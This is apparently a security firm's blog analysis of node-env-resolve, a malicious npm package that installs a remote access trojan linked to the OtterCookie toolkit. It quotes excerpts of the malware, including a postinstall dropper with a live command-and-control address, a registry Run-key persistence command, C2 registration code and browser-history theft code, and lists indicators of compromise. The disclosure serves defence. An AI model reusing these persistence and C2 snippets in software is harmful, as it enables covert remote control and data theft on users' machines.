---
title: "node-env-resolve: npm Package Installs a Full RAT"
description: "node-env-resolve is a malicious npm package that installs a full-featured remote access trojan on developer machines. The RAT streams screens, captures audio, steals browser history, and gives full mouse and keyboard control to a remote operator. The toolkit matches the OtterCookie RAT family linked to North Korea's Contagious Interview campaign."
url: "https://safedep.io/blog/malicious-npm-node-env-resolve-rat"
author: "SafeDep Team"
published: "2026-05-03"
---

# node-env-resolve: npm Package Installs a Full RAT

## TL;DR

`node-env-resolve` is a malicious npm package that ships a full remote access trojan (RAT) disguised as a "lightweight environment configuration resolver." Running `npm install node-env-resolve` copies a persistent agent to a hidden directory, registers it as an autostart service, and connects to a command-and-control server at `hxxp://152.67.0.53:8471`. From there, a remote operator gets live screen streaming, microphone and system audio capture, full mouse and keyboard control, browser history access, and arbitrary file read/write on the victim machine. The dependency set matches the OtterCookie RAT toolkit, documented across multiple North Korean Contagious Interview campaign packages.

---

## What the Package Claims to Be

The `package.json` description reads "Lightweight environment configuration resolver for Node.js." The actual source files tell a different story: `audioCapture.js`, `browserHistory.js`, `screenCapture.js`, `sleepPreventer.js`, `inputHandler.js`. There is no environment resolution logic anywhere in the package.

Maintainer `user0001` (`tanvisoul9@gmail.com`) published 10 versions over 8 days (April 25 to May 2, 2026), with 1,293 downloads recorded in the last 30 days. The same account also published `connector-agent`, `node-gyp-runtime`, `centralogger`, `node-fetch-lite`, and `dom-utils-lite`. The C2 IP was a `localhost` placeholder in versions 1.0.0 and 1.0.1, then switched to the live address `152.67.0.53:8471` from version 1.0.2 onward.

---

## The Dropper: `postinstall.js`

The `postinstall` hook fires automatically on install. It copies the full agent into a hidden directory named after the legitimate `node-gyp` toolchain, installs dependencies there silently, registers platform-specific persistence, then immediately starts the agent:

```javascript
// postinstall.js
const SERVER_URL = 'http://152.67.0.53:8471';
const AGENT_NAME = 'node-gyp-cache';

const INSTALL_DIR = isWin
  ? path.join(process.env.APPDATA, AGENT_NAME) // %APPDATA%\node-gyp-cache
  : path.join(homeDir, '.node-gyp-cache'); // ~/.node-gyp-cache

// Copies src/, writes env.config.js with live C2 IP, runs npm install --production --silent
// Then registers autostart and spawns the agent detached
```

On Windows, persistence goes into the registry Run key via a hidden VBScript launcher:

```javascript
execSync(
  `reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${AGENT_NAME}" /t REG_SZ /d "wscript.exe \\"${vbsPath}\\"" /f`,
  { windowsHide: true, stdio: 'ignore' }
);
```

If that fails, the fallback drops `ConnectorService.vbs` into `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`.

On macOS, it writes `~/Library/LaunchAgents/com.user.connector.plist` with `KeepAlive: true`. On Linux, it writes `~/.config/autostart/connector.desktop`. All three paths require no elevated privileges.

---

## The Payload: What the Agent Does

The agent (`src/index.js`) connects to `hxxp://152.67.0.53:8471/agent` via Socket.IO with infinite reconnection (2s to 30s exponential backoff). On connection, it registers the machine with a stable 12-character fingerprint:

```javascript
const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);
socket.emit('agent:register', { machineId: MACHINE_ID, ...systemInfo });
// systemInfo: hostname, username, os, ip, platform, cpus, totalMemory, uptime
```

The operator then drives the agent through socket events. The full capability set:

| Event                      | Action                                                                          |
| -------------------------- | ------------------------------------------------------------------------------- |
| `screen:start`             | JPEG-compressed screenshots at up to 4 FPS, streamed as base64                  |
| `mouse:move/click/scroll`  | Full mouse control via `@nut-tree-fork/nut-js`                                  |
| `keyboard:type/key/combo`  | Full keyboard input injection                                                   |
| `audio:start`              | Microphone or system audio via `ffmpeg`, streamed as raw PCM                    |
| `history:request`          | Chrome, Edge, Firefox SQLite history databases (copies locked DB to temp first) |
| `files:list/read/download` | Browse filesystem, read text files up to 500KB, download binaries up to 10MB    |
| `file:write/delete`        | Remote file write and delete within user profile                                |
| `folder:zip`               | Zip and exfiltrate entire folders up to 50MB                                    |
| `file:upload`              | Push arbitrary files from operator to victim                                    |
| `agent:kill`               | Remove all persistence entries and exit                                         |

The sleep preventer runs on startup and stays active for the session's duration. On Windows it runs a hidden PowerShell loop that refreshes the cursor position every 30 seconds. On macOS it calls `caffeinate -dimsu`. On Linux it calls `systemd-inhibit`. The intent is uninterrupted screen access during a remote session.

Browser history extraction bypasses file locking by copying the SQLite database to a temp path before querying it:

```javascript
// src/browserHistory.js
function copyToTemp(sourcePath, browserName) {
  const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`);
  fs.copyFileSync(sourcePath, tempPath);
  // also copies WAL file if present
  return tempPath;
}
```

This works against Chrome, Edge, and Firefox profiles without the browser needing to be closed.

---

## Toolkit Attribution: OtterCookie Fingerprint

The six runtime dependencies in `node-env-resolve` form a documented fingerprint. Researchers tracking the Contagious Interview campaign (North Korea's DPRK/Lazarus-linked operation targeting developers via fake job interviews) have identified this exact combination as the OtterCookie RAT toolkit:

| Dependency              | Role                            | OtterCookie match                          |
| ----------------------- | ------------------------------- | ------------------------------------------ |
| `socket.io-client`      | C2 transport                    | yes                                        |
| `screenshot-desktop`    | Screen capture                  | yes                                        |
| `sharp`                 | Image compression for streaming | yes                                        |
| `@nut-tree-fork/nut-js` | Mouse and keyboard control      | yes (documented as newer-variant addition) |
| `better-sqlite3`        | Browser history via SQLite      | yes                                        |
| `node-machine-id`       | Stable device fingerprint       | yes                                        |

SafeDep's earlier analysis of [`express-session-js`](https://safedep.io/malicious-npm-package-express-session-js/), a confirmed Contagious Interview package, found the same toolkit connecting to a different C2 at `216.126.237.71`. The April 2026 DPRK campaign wave documented by [The Hacker News](https://thehackernews.com/2026/04/new-wave-of-dprk-attacks-uses-ai.html) explicitly names `@nut-tree-fork/nut-js` as a capability upgrade in newer OtterCookie variants, enabling full remote desktop interaction beyond the basic screenshot-and-clipboard theft seen in earlier versions.

The C2 address `152.67.0.53:8471` does not appear in any published Contagious Interview IOC list. The `152.67.x.x` block belongs to Oracle Cloud APAC. Documented campaign infrastructure has leaned on RouterHosting (AS14956), Vercel deployments, and Pastebin-based staging. Whether this is infrastructure rotation by the same operators or a criminal actor reusing the published toolkit is not conclusive from static analysis alone. The toolkit match is exact; attribution to DPRK specifically is assessed with moderate confidence.

`node-env-resolve` adds microphone and system audio capture and a remote self-uninstall command (`agent:kill`) that do not appear in documented OtterCookie writeups, suggesting active development beyond the baseline campaign tooling.

---

## Indicators of Compromise

**Packages (malicious from v1.0.2):**

- `node-env-resolve` versions 1.0.2 through 1.0.9

**Related packages (same maintainer `user0001`):**

- `connector-agent`, `node-gyp-runtime`, `centralogger`, `node-fetch-lite`, `dom-utils-lite`

**C2:**

- `hxxp://152[.]67[.]0[.]53:8471` (Socket.IO, namespace `/agent`)

**Filesystem:**

| Platform           | Path                                                                           |
| ------------------ | ------------------------------------------------------------------------------ |
| Windows            | `%APPDATA%\node-gyp-cache\`                                                    |
| Windows            | `%APPDATA%\node-gyp-cache\launcher.vbs`                                        |
| Windows (fallback) | `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ConnectorService.vbs` |
| macOS              | `~/.node-gyp-cache/`                                                           |
| macOS              | `~/Library/LaunchAgents/com.user.connector.plist`                              |
| Linux              | `~/.node-gyp-cache/`                                                           |
| Linux              | `~/.config/autostart/connector.desktop`                                        |
| All (temp)         | `<tmpdir>/connector_{chrome,edge,firefox}_history_copy.db`                     |

**Registry (Windows):**

- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\node-gyp-cache`

**Maintainer:**

- npm username: `user0001`
- Email: `tanvisoul9@gmail.com`

---

## Verdict

`node-env-resolve` is a purpose-built RAT delivery vehicle with no legitimate functionality. Any version from 1.0.2 onward installs persistent remote access on the developer's machine. The toolkit is a direct match for the OtterCookie family tied to North Korea's Contagious Interview campaign. The package remains active on the npm registry at time of writing.

---

**Related:**

- [express-session-js: Full RAT Payload via npm Typosquat](https://safedep.io/malicious-npm-package-express-session-js/)
- [Contagious Interview Campaign: How North Korea Targets Developers via npm](https://thehackernews.com/2026/04/new-wave-of-dprk-attacks-uses-ai.html)
